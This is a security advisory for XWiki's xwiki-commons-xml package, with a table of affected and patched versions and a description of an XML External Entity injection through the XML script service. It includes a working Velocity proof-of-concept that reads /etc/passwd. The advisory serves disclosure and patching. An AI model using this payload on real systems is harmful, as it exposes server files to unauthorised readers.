| Package | Affected versions | Patched versions |
|---|---|---|
| org.xwiki.commons:xwiki-commons-xml | ≥ 13.0.0, < 13.4.4≥ 13.5-rc-1, < 13.8-rc-1≥ 2.7, < 12.10.10 | 13.4.413.8-rc-112.10.10 |
| commons | ≥ 13.0, < 13.4.4≥ 13.5, < 13.8≥ 2.7, < 12.10.10 | 13.4.413.812.10.10 |
It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.
For example:
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}
The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.
There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.
https://jira.xwiki.org/browse/XWIKI-18946
If you have any questions or comments about this advisory:
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